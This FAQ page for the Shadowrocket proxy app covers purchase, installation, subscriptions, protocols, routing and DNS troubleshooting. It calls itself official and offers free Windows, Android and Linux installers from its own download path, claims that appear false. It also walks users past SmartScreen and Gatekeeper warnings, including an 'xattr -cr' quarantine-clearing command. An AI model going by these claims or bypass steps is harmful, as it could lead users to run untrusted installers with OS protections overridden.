Shadowrocket FAQ

Yes. Get the iPhone and iPad version from the App Store for a one-time payment of $2.99. The Mac (Apple silicon and Intel), Windows, Android and Linux versions are free; use this site’s download guide to get the installers from /dl/shadowrocket/. iPad uses the same App Store product page; check that page for the current system requirements. For first-time installation permissions on computers and Android, see “Installation and first launch” below. App Store purchase steps do not apply to other platforms.

Check the country or region of the Apple Account used for Media & Purchases, not your device language or system region. The app is currently unavailable on the mainland China App Store. Use the product page linked here to check availability in your current storefront. To check your region, go to Settings → Apple Account → Media & Purchases → View Account → Country/Region. If you need to change it, follow Apple’s official process and first address any account balance, active subscriptions or Family Sharing restrictions. Don’t keep changing settings just to retry a search.

Check the app name, Shadowrocket, its official icon, the developer, Shadow Launch Technology Limited, and the product link’s app ID, 932747118. A nickname or search ranking alone isn’t enough to verify a listing. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android and Linux versions are free. For other platforms, use the corresponding installer in this site’s download guide rather than relying on App Store search results.

Sign in to Media & Purchases with the Apple Account used for the original purchase. On the App Store account page, open your purchased apps, find Shadowrocket and download it again. iPhone and iPad can use the same purchase. If you see a purchase button, check the account and purchase history before paying again. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android and Linux versions are free. Reinstalling won’t automatically restore all local settings, so save anything you need separately before switching devices.

A one-time app purchase does not include a server plan. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android and Linux versions are free. You’ll still need your own subscription or server details. This is the official website and manual; it does not provide, sell or recommend servers or subscriptions. Check the App Store product page and your Family Sharing settings to see whether family sharing is supported. Sharing a purchase does not share configurations, credentials or server services.

Choose Apple menu → About This Mac and check the “Chip” or “Processor” entry. If it shows Apple silicon, choose Mac Apple silicon; if it shows an Intel processor, choose Mac Intel. Don’t guess based on the Mac’s appearance or purchase date. The download guide provides both options. If macOS blocks the app after installation, first confirm the installer came from this site, then go to System Settings → Privacy & Security and look for “Open Anyway.” See the Mac security prompt FAQ in this section for details.

First confirm that you got the file from this site’s download guide and that the download completed. If SmartScreen says “Windows protected your PC,” verify the source, then select “More info” → “Run anyway” and follow the installer. If company or school policies prevent the app from running, contact your device administrator; don’t disable Windows security protections. If the message differs, the file’s source is unclear or policy hides the button, stop and note the full warning before proceeding.

Confirm the download source and your Mac’s chip type, then move the app to Applications before opening it. If macOS says the developer can’t be verified, go to System Settings → Privacy & Security, find the relevant blocked app entry, select “Open Anyway” and confirm. If it says the app is damaged, only after confirming the file came from this site and downloaded completely, run xattr -cr /Applications/Shadowrocket.app in Terminal and try opening the app again. This command removes the app’s extended attributes. Don’t run it if the path differs, and don’t disable system security globally.

On Android, when prompted, allow “Install unknown apps” only for the browser or file manager you’re actually using to open the installer. You can turn this permission off after installation. On Linux, choose the deb, rpm or AppImage package for your distribution. For an AppImage, allow execution in the file’s properties or run chmod +x on the actual file before launching it. Install deb and rpm packages with your system package manager and check any dependency errors. Get files for all platforms from this site’s download guide, and don’t allow installation from unknown sources.

First select an available server in Home, then turn on the connection switch. On the first connection, approve the system prompt to add a VPN configuration. If you previously denied it, try connecting again and check the VPN configuration in Settings. Temporarily stop other features that use a VPN and retry to avoid configuration conflicts. Managed devices may be restricted from adding VPN configurations; ask your administrator to check the policy. Don’t delete all configurations first: note the error, back up your existing information, and then decide whether to recreate the affected configuration.

Make sure you’re using the full subscription URL you already have—not a provider’s login or order page, or a partial link. In Add Server, choose Subscribe, paste the URL, and check for leading or trailing spaces, line breaks and missing characters. Then save and update. If it fails, note the error and determine whether the address is unreachable, authentication has expired or the response format is incompatible. Don’t share a URL containing credentials. If you’re unsure about its validity or format, check with the original provider instead of repeatedly importing the same URL and losing useful error details.

Check the protocol first, then compare the address, port, authentication fields and encryption options with the server details you already have. Shadowsocks, VMess, VLESS, Trojan and Hysteria2 use different fields; don’t apply one protocol’s settings to another. For TLS, also check the server name and transport parameters supplied by your provider. Saving only confirms that the entry was added; it doesn’t mean the settings are correct. Return to Home, select the entry and run Connectivity Test. Use the error message to identify which fields to check.

In Home, find the relevant Subscribe group and use its update action. Depending on the interface version, it may be in the group’s action menu. After updating, check for an error, then review the server list and selected server. Entries managed by the subscription source may be regenerated during an update, so manual changes to names, addresses or other fields may not be retained. Record any standalone settings you need to keep. If an update fails, keep the existing group and don’t delete usable information right away.

Expand the relevant group and check that search filters or a collapsed view aren’t hiding its entries. Then verify that the subscription actually returned server details. A “request succeeded” message doesn’t guarantee a valid Subscribe response; the server may have returned a login or error page. For duplicates, check whether you added the same subscription more than once. Update the existing group rather than creating another one. Before deleting duplicates, note the selected server and the source of any active subscription so you don’t remove a configuration you still use.

Not necessarily. A subscription URL usually restores only the server list provided by its source; don’t assume it includes manually added servers, custom Config files, rule order, DNS settings or On Demand conditions. Before switching devices, record these separately and use the export or system backup options available in your current version. On the new device, restore what you need, check the selected server in Home and Global Routing, then test the connection. Backups may contain addresses and authentication details. Store them securely and don’t share the full backup when troubleshooting.

For everyday rule-based routing, choose Config. Rules in the current Config determine whether traffic uses PROXY, DIRECT or REJECT. To temporarily check whether the proxy path works, switch to Proxy for comparison. Direct helps test network behavior without the proxy. These are routing modes, not speed settings. Note your current setting before switching and restore it after testing. If Proxy works but Config doesn’t, check the matched rules and policies first rather than re-entering all your server details.

Disconnect temporarily and confirm that your Wi-Fi or cellular connection can access the internet; public networks may require sign-in first. Reconnect, confirm that Home has the expected server selected, and check Global Routing and the current Config. Test the same destination with Config and Proxy, then use the connection details in Data to determine whether the issue is a routing rule, an unreachable server or DNS. Change one setting at a time and keep the before-and-after results. Changing the protocol, DNS and rules all at once makes the cause difficult to identify.

No. Connectivity Test reports connectivity for its current target and test conditions; it doesn’t confirm that every website, protocol or long-running transfer will work. Check which server was selected when you ran the test, then try the affected destination and review its matched policy and errors in Data. If only one destination fails, focus on its rules, DNS and service status. If all destinations fail, check your local network and server details.

Don’t assume one DNS type is always the answer. First check whether failures are limited to domain name resolution. Note the current Config and DNS settings in Settings, and make sure a custom configuration isn’t overriding the expected options. Try system DNS as a comparison, then test any existing custom DNS or DNS over HTTPS setting separately. DNS over HTTPS also needs a reachable network path, and a misconfiguration can cause more problems. Change one variable at a time, then keep the working setting or restore the original.

First check the battery usage timeline in system settings, then look for ongoing downloads, background syncing, frequent reconnects or a high volume of connection records. Battery attribution to VPN activity doesn’t mean the app alone used all the reported power. If On Demand is enabled, check whether its trigger conditions cause repeated reconnects when the network changes. You can turn it off briefly for comparison. Don’t change protocols just to reduce the battery figure; compare the same network and usage scenario first, then decide whether to adjust the conditions.

This manual keeps interface labels in English, so look for the exact name: Home shows servers and connection status; Add Server adds entries; Subscribe is the subscription type; Config is for configuration files; Settings contains settings; Data shows connection records. Config in Global Routing and Config on the configuration-files screen have the same name but different purposes, so use the surrounding screen to tell them apart. For step-by-step instructions, see the first-connection guide. If you’re unfamiliar with protocol names or rule keywords, start with the glossary.